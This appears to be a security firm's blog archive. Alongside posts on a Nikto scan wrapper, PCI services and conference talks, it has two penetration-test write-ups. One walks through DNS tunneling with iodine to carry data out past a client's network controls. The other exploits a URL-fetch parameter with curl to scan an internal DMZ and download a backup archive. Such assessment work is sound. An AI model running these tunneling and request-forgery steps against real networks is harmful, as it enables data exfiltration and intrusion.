Stratum Security Blog

Nikto (http://cirt.net/nikto2)  is an Open Source web scanner that checks for several different types of vulnerabilities, including:

• Over 6400 potentially dangerous files/CGIs
• Outdated versions of over 1000 servers
• Version specific problems for over 270 servers

Nikto was developed by a friend of mine, Chris Sullo (@chrissullo) and now is maintained by Sullo and David Lodge. Version 2.1.3 was released in February of this year after getting back from a lengthy tour of european pubs, or so I am told.

I personally still use Nikto on all of my assessments, as it provides a good supplement to other automated scanning tools. To help automate the process of scanning hundreds of web servers, I wrote a simple python script that takes a specially formatted host file (ip address or  hostname,port) and runs Nikto continuously against them. doNikto generates separate HTML output files for each line in the host file (Nikto_IP/Hostname_Port.html) in the current directory.

To get doNikto running on your system, simply make sure you have Python installed on your system. Snow Leopard and Ubuntu users, you’re good. Windows users, check out http://python.org. I recommend installing the latest release of Python 2 (currently 2.6.6).

Once you have Python installed, and of course Nikto, download doNikto.py here and install it in same directory as nikto.pl. You can invoke doNikto by simply typing;

python doNikto.py

or you can type:

chmod +x doNikto.py

and call it via

./doNikto.py

Once you have doNikto all setup, it is pretty straight forward to use:

Old-Trafford:nikto-2.1.3 jmorehouse$ ./doNikto.py

USAGE:

python donikto.py [Host File]

Host file should be in IP,Port format, with one host per line.

(e.g. 192.168.1.1,80)

So a sample host file would look something like:

192.168.1.1,80

some.webserver.com,443

forgotten.tomcatserver.org,8080

Finally, you can ctrl-break (ctrl+c) doNikto to skip hung servers and proceed to the next server in the host file.

That’s all there is. Pretty straightforward and something I find useful on a regular basis. Let me know if you have any issues or suggestions and enjoy!

Recently I was working on a project with Nate where we were trying to circumvent our client’s internal network controls in order to send “sensitive” data out of the company via the Internet. While our client’s internal network controls weren’t the absolute best we’d ever seen, they were pretty close. Proxy with SSL termination, strong outbound FW rules, and your choice of the latest and greatest technologies aimed at preventing data exfiltration (DLP, IPS, etc.) were between us and our objective. After banging our heads against the wall, we remembered tinkering with DNS tunneling a couple of years back. A quick Google search led us to the iodine tool. iodine allows you to tunnel IPv4 data through a DNS server, provided you have access to a preconfigured server running the iodine daemon. We quickly tested our client’s internal DNS configuration by performing a NSLOOKUP of a random hostname (iodinetest) against one of our wildcarded domain names (stratumsecurity.com). When we received the expected response, we knew we may be in luck. The most time consuming part of setting up iodine is the configuration of your DNS servers. In order to get iodine working, you need to setup a new subdomain, such as tunnel.stratumsecurity.com, and delegate DNS requests for the subdomain to your external host running iodined (iodinens.stratumsecurity.com). To set this up in BIND, you would simply enter the following into your configuration:

iodinens     IN     A      X.X.X.X
tunnel       IN     NS     iodinens.stratumsecurity.com.

Fortunately for us, we were packing a Virgin Mobile MiFi, so we quickly installed the iodine package on one of our external boxes (sudo apt-get install iodine in Ubuntu) while we waiting for the DNS to propagate. You also need to setup any firewall(s) you may have infront of your external server, such that 53/udp is forwarded to the server that will run the iodine daemon (and was also delegated control of your tunneling subdomain). After we confirmed that our DNS was properly setup and responding, we fired up the iodine daemon on our external server by issuing the following command:

sudo iodined -f -c -P sharedsecret 192.168.99.1 tunnel.stratumsecurity.com

A handy little utility provided by the iodine authors allows you to test your DNS, firewall, and iodine setting all in one. The utility is available at http://code.kryo.se/iodine/check-it/. We tested our configuration by entering tunnel.stratumsecurity.com into the textbox, and having the utility confirm our settings. When testing your server using this utility, make sure you do NOT set a shared-secret password or else it will not work. Simply remove the -P and the shared-secret from the above command and it will work as expected.

Once we knew the DNS, firewall, and server were all working properly, it was time to focus on the client. On the Windows XP system we were running, we installed the Win32 binaries and configured the TAP32 interface as described in the README. We had to download an additional set of drivers from OpenVPN to setup the TAP32 interface. The drivers are available here. While version 0.6.0-rc1 of iodine is the latest as of this post, it is recommended that you run the same version of the client as you do the server. The Ubuntu package we installed from the repository was version 0.5.1, so that is the version of the client we installed on our Windows XP box. Make sure you remember to rename the TAP32 interface to ‘dns’ or it will not work.

Now that the TAP32 interface was properly configured, running iodine is as simple as entering the following into the CLI:

iodine.exe 192.168.1.5 tunnel.stratumsecurity.com

If you can communicate directly with DNS servers residing on the Internet, then you do not need to input the local DNS server’s IP address. However, in our case all of our DNS queries first went to local DNS servers, and were then passed on to forwarding server. As such, we had to tell iodine to use the internal DNS server we were provided with via DHCP, 192.168.1.5, via the first argument. To determine if you can query DNS servers residing on the Internet directly, run NSLOOKUP and set the server to OpenDNS (208.67.220.220). In Windows, that would be,

C:\>nslookup
Default Server:  ns1.work.lan
Address:  192.168.111.5

> server 208.67.220.220
Default Server:  resolver2.opendns.com
Address:  208.67.220.220

> stratumsecurity.com
Server:  resolver2.opendns.com
Address:  208.67.220.220

Non-authoritative answer:
Name:    stratumsecurity.com
Address:  96.30.23.178

If you receive a response to the ‘server 208.67.220.220′ command that is not a timeout, you can communicate directly with DNS servers residing on the Internet. Otherwise, you are most likely forced to use Internal DNS servers. Once you execute the command, and enter your shared-secret password when prompted, you should see something akin to the following:

Opening device \\.\Global\{A6F38920-A0E1-41B6-B57B-EE75005AA49F}.tap
Opened UDP socket
Opened UDP socket
Opened UDP socket
Version ok, both using protocol v 0x00000500. You are user #0
Enabling interface 'dns'
Setting IP of interface 'dns' to 192.168.99.2 (can take a few seconds)...
Ok.


Switching to Base64 codec
Server switched to codec Base64
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.1152 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.960 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.864 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.816 not ok.. 792 ok.. 804 ok.. will use 804
Setting downstream fragment size to max 804...
Sending queries for tunnel.stratumsecurity.com to 192.168.1.5
Windows version does not support detaching

Now go ahead and open up another CLI and try pinging your server’s IP, 192.168.99.1. You should see something like,

Pinging 192.168.99.1 with 32 bytes of data:
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=103ms TTL=64
Reply from 192.168.99.1: bytes=32 time=101ms TTL=64
Ping statistics for 192.168.99.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
   Minimum = 101ms, Maximum = 103ms, Average = 102ms


Believe it or not, you are all set. Now that you have a tunnel back to your remote server, you can do whatever you please. Send/receive files, setup a proxy, anything. Not too bad for not having any direct access to the Internet! Needless to say our client was very interested in this exfiltration method.

P.S. - iodine is named iodine for IP-over-DNS and because iodine is the 53rd element on the periodic table (53/udp and 53/tcp are standard DNS ports).

Install GPG

Install Utilities

Fun with Keys

Integrate with Mail.app

Sources:

I did an interview with ChannelPro magazine on smartphone security. Or lack there of.

http://www.channelprosmb.com/article/19527/Handling-Smartphone-Vulnerabilities/

Some exciting developments here at Stratum Security. We now offer a suite of PCI services that help our customers tackle the DSS challenge. These services are delivered by a team of PCI experts with extensive knowledge of the standard and the process. Our suite of services now include:

Learn more about our new offering on our web site here. A white paper is available for download here.

Also, Stratum Security is on track to receive our PCI QSA certification in late July. Stay tuned…

I was pleased to see that OWASP updated their Top 10 Application Security Risks. Over all I think that they are good modifications. I think that the changes represent the ongoing maturation of the space and shows that the industry now has data that shapes the way that we think about application security vulnerabilities. In this post we will look at how the changes to the Top 10 are more relevant than ever.

One of the more interesting updates is A6. The 2007 OWASP Top 10 included “A6 – Information Leakage and Improper Error Handling”. This was dropped for “Security Misconfiguration” in 2010 because:

“Information Leakage and Improper Error Handling. This issue is extremely prevalent, but the impact of disclosing stack trace and error message information is typically minimal. With the addition of Security Misconfiguration this year, proper configuration of error handling is a big part of securely configuring your application and servers.”

In short, most application development frameworks have built-in error handling features that are easy for developers to enable via configuration changes and platform patches. Rather than use an entire list entry on error handling, OWASP is essentially saying, “Flip the secure switches on”.

Application error messages can contain anything from generic stack traces to filesystem paths and internal IP addresses. However these are often downplayed by developers. Some organizations are quick to say, “Well getting the internal IP address doesn’t get you anything. It’s a NAT IP and behind the firewall.”

In our reports, we document an information disclosure finding’s impact as “This finding could be used in the construction of a more effective attack against the application.” This is because a successful exploit usually is the result of several failures within the application or system. No one control is usually responsible for the success for failure of the system.

What follows is a case study that shows that application error messages and information gathering vulnerabilities are very helpful to an attacker.

Stratum Security recently assessed an organization’s primary web property that is in the Alexa top 8,000 sites. We found that the site’s banner ad referral functionality contained a url parameter that defined the URL that the application server should use to fetch the banner ad’s graphic:

http://www.xxxxxx.xxx/banner_ad.php?url=ad.server.com/banners/ad1_small.jpg

This is bad as an attacker could point the url parameter at his own malicious web site that serves up malware or browser exploits, use a full screen iframe to perform a phishing attack that intercepts user credentials, or a number or other well-known attacks.

We examined the finding a bit more and found that if we modified the url parameter that it would make HTTP connections to the host we specified:

Note: the php would only accept the URL value in reverse. In this case, you can see that the web application connected to localhost (127.0.0.1) on port 22, displaying the SSH banner.

Without a nice application error message, this vulnerability may have gone unnoticed.

We also attempted to define other URI’s such as file:///etc/passwd to access local filesystem content but found that our input was always prefaced with “http://”. Fine, we’ll stick to HTTP.

Now, we know that we can force the application to make HTTP connections to devices that we specify, but in order to explore the DMZ network we need to figure out the DMZ’s internal IP space.

To enumerate the internal IP space being used, we scanned the customer’s Internet-exposed web servers for the often seen OSVDB-630, which leaks the internal IP address on IIS servers. We identified an IIS server that was not patched for this flaw and found that the internal IP range was 10.172.85.0/24.

Using our knowledge of the internal IP address, we used cURL to iterate through the DMZ’s internal IP space to search for HTTP servers:

curl http://www.xxxxxx.xxx/banner_ad.php?url=10.172.85.[1-254] -o output.txt

We then parsed the output.txt and identified those devices that answered on port 80. We identified web servers including Cisco switch and router HTTP configuration consoles, JBoss Consoles, Tomcat Managers, default IIS installs and other interesting things. In total we found 28 web servers in a DMZ that only had 11 Internet-exposed web servers. Here are a few examples of things we shouldn’t have been able to see:

Most interesting, a server with directory indexing enabled that contained a large number of directories:

One directory titled “BACKUP” contained a single .tgz file that turned out to be another web site’s entire webroot containing source code, database connection strings, configuration files, etc.

Using cURL, we downloaded the file:

curl http://www.xxxxxx.xxx/banner_ad.php?url=zgt.pukcab/PUKCAB/99.48.271.01″ -o backup.tgz

% Total %Received %Xferd Average Time    Time     Time  Current Dload  Upload   Total   Spent    Left  Speed

100                   43.5M                      0 43.5M    0     0  1874k      0 –:–:–  0:00:23 –:–:– 1916k

$ ls –l

45702392 Apr 20 10:17 backup.tgz

We are now downloading files from web servers behind the firewall in the DMZ.

While many rate error handling and information disclosure/leakage findings as a medium or low severity, it is important to consider how all of the findings work together for the attacker. What started out as a single high severity finding, remote file inclusion, ended up being a complete compromise of the DMZ network and firewall-protected systems. None of this would have been possible without some verbose error messages and that pesky IIS Internal IP Address Disclosure flaw.

http://www.csoonline.com/article/587965/Smart_Phone_Attacks_Here_and_Now

I will be giving my Shmoocon talk The New World of Smartphone Security at OWASP Tamapa on March 24th, 2010. If you would like to attend please RSVP to the chapter leader Justin Moorehouse.

More information can be found on the OWASP Tamapa page.

When I gave my talk on Saturday morning technical issues prevented the good folks at Shmoocon from streaming my talk live. Since the talk wasn’t streamed to uStream, it is not in the archives. Luckily, MediaArchives.com was there and capture all but the first fifteen minutes of my talk. Shmoocom gave me permission to post the video so here it is:

The New World of SmartPhone Security by Trevor Hawthorn from Stratum Security on Vimeo.

If you want to fill in the missing gaps, please feel free to download the slides from my talk from this blog post here.

I have a feeling that Shmoocon 2010 (and all snow-themed variations of the name) will go down as one of the most unique security conference experiences ever. Given that some people still have not made it home Shmoocon might be one of the longest running security conferences ever. I had a great time hanging out with friends and a great time giving my first ever conference talk “The New World of Smartphone Security – What your iPhone Disclosed About You”.

Highlights for me included Michael Weigand’s talk “Build your own Predator UAV @ 99.95% Discount” about making your own autonomous aerial camera platform. Since the UAV uses a GPS to orient itself and lat/long coordinates to fly its route, I was thinking that it would be cool to send his UAV the coordinates of an iPhone user for the ultimate aerial tracking system.

Some have been asking where the archived uStream footage of my talk is. It turns out that the AV folks had some technical issues on Saturday morning and were unable to stream or record my talk. However, MediaArchives.com did catch all but the first 10 minutes. I bought the DVD and am waiting to hear from the folks at Shmoocon if I am cleared to rip and post the video. Once we hear back on that I’ll post the link to Vimeo.

In the mean time here is the slide deck:

Stratum Security-The New World of Smartphone Security-Shmoocon 2010.pdf

Thank you to everyone that attended the talk!

-Trevor